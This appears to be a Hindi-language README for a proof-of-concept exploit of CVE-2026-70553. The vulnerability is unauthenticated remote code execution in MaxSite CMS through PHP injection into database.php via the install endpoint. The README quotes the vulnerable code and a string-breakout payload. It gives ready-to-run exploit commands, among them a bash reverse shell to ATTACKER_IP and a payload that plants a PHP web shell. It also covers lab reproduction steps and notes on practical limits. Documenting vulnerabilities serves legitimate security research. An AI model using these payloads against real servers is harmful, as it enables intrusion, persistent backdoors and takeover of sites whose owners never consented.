
CVE-2026-70553 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो install एंडपॉइंट के माध्यम से database.php में स्थायी PHP इंजेक्शन के ज़रिए MaxSite CMS में बिना प्रमाणीकरण के RCE सक्षम बनाता है।
CVE-2026-70553 के लिए प्रूफ-ऑफ-कॉन्सेप्ट: इंस्टॉल एंडपॉइंट के माध्यम से database.php में स्थायी PHP कोड इंजेक्शन द्वारा MaxSite CMS में बिना प्रमाणीकरण के रिमोट कोड निष्पादन।
यह PoC केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए है। लेखक इस कोड के किसी भी दुरुपयोग या क्षति के लिए ज़िम्मेदार नहीं है। केवल उन्हीं सिस्टमों पर परीक्षण करें जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट लिखित अनुमति आपके पास है।
MaxSite CMS संस्करण 105.2 से 109.5 तक में इंस्टॉल एंडपॉइंट में एक गंभीर बिना प्रमाणीकरण वाली रिमोट कोड निष्पादन भेद्यता मौजूद है। db_dbprefix पैरामीटर को बिना सैनिटाइज़ेशन के सीधे PHP कोड में जोड़ा जाता है, जिससे हमलावर application/config/database.php में मनमाने PHP स्टेटमेंट इंजेक्ट कर सकते हैं। चूँकि यह फ़ाइल हर अनुरोध पर शामिल (include) की जाती है, इंजेक्ट किया गया कोड स्थायी RCE प्राप्त करता है।
install/installer/functions.php में, newDatabase() फ़ंक्शन database.php की सामग्री बनाता है:
function newDatabase($PV)
{
if (file_exists(MSODIR . 'application/config/database.php-distr')) {
$file = file_get_contents(MSODIR . 'application/config/database.php-distr');
// ... other replacements ...
// VULNERABLE LINE: No sanitization of $PV['db_dbprefix']
$file = str_replace('$db[\'default\'][\'dbprefix\'] = \'mso_\';',
'$db[\'default\'][\'dbprefix\'] = \'' . $PV['db_dbprefix'] . '\';',
$file);
file_put_contents(MSODIR . 'application/config/database.php', $file);
return false;
}
// ...
}
इस तरह का पेलोड इंजेक्ट करके:
db_dbprefix=mso_'; system('id'); //
जनरेट की गई database.php इस प्रकार बनती है:
$db['default']['dbprefix'] = 'mso_'; system('id'); //';
यह स्ट्रिंग लिटरल से बाहर निकलकर मनमाना PHP कोड इंजेक्ट करता है।
फिक्स में पुनः-इंस्टॉलेशन को रोकने के लिए एक जाँच जोड़ी गई:
if (file_exists(MSODIR . 'application/config/database.php-distr')
and
!file_exists(MSODIR . 'application/config/database.php')) // NEW CHECK
{
// ... create database.php only if it doesn't exist
}
git clone https://github.com/woshidashabi1126/CVE-2026-70553-PoC.git
cd CVE-2026-70553-PoC
pip3 install requests
# Check if target has accessible install endpoint
python3 exploit.py http://target.com --check-only
# Exploit with default payload (creates poc_test.txt)
python3 exploit.py http://target.com
# Custom payload: reverse shell
python3 exploit.py http://target.com \
--cmd 'system("bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/9001 0>&1\"");'
# Custom payload: write webshell
python3 exploit.py http://target.com \
--cmd 'file_put_contents("shell.php", "<?php system(\$_GET[0]); ?>");'
--cmd PHP code to inject (default: file write test)
--check-only Only check if install endpoint is accessible
--db-host Database hostname (default: localhost)
--db-user Database username (default: test)
--db-pass Database password (default: test)
--db-name Database name (default: test)
महत्वपूर्ण: इस भेद्यता की वास्तविक दुनिया के परिदृश्यों में गंभीर व्यावहारिक सीमाएँ हैं।
/install/ निर्देशिका हटाई नहीं गई हो)newDatabase() फ़ंक्शन केवल तभी कॉल होता है जब टेबल मौजूद न होंinstall/installer/post.php में checkTableExists() के माध्यम से जाँचा जाता हैnewDatabase() कभी कॉल नहीं होता/install/ सुलभ हो, इंजेक्शन का कोड पथ टेबल मौजूदगी जाँच द्वारा अवरुद्ध हो जाता हैनियंत्रित वातावरण में इस भेद्यता को सत्यापित करने के लिए:
# 1. Download vulnerable version
wget https://github.com/maxsite/cms/archive/refs/tags/109.5.zip
unzip 109.5.zip && cd cms-109.5
# 2. Start PHP built-in server
php -S 127.0.0.1:8000
# 3. In another terminal, run exploit
python3 exploit.py http://127.0.0.1:8000
# Check if database.php was modified
cat application/config/database.php | grep dbprefix
# Should see injected code:
# $db['default']['dbprefix'] = 'mso_'; file_put_contents(...); //';
# Trigger execution
curl http://127.0.0.1:8000/
# Verify test file created
curl http://127.0.0.1:8000/poc_test.txt
यह प्रोजेक्ट MIT लाइसेंस के तहत जारी किया गया है। विवरण के लिए LICENSE देखें।
याद रखें: हमेशा जिम्मेदार प्रकटीकरण का अभ्यास करें और परीक्षण से पहले उचित प्राधिकरण प्राप्त करें।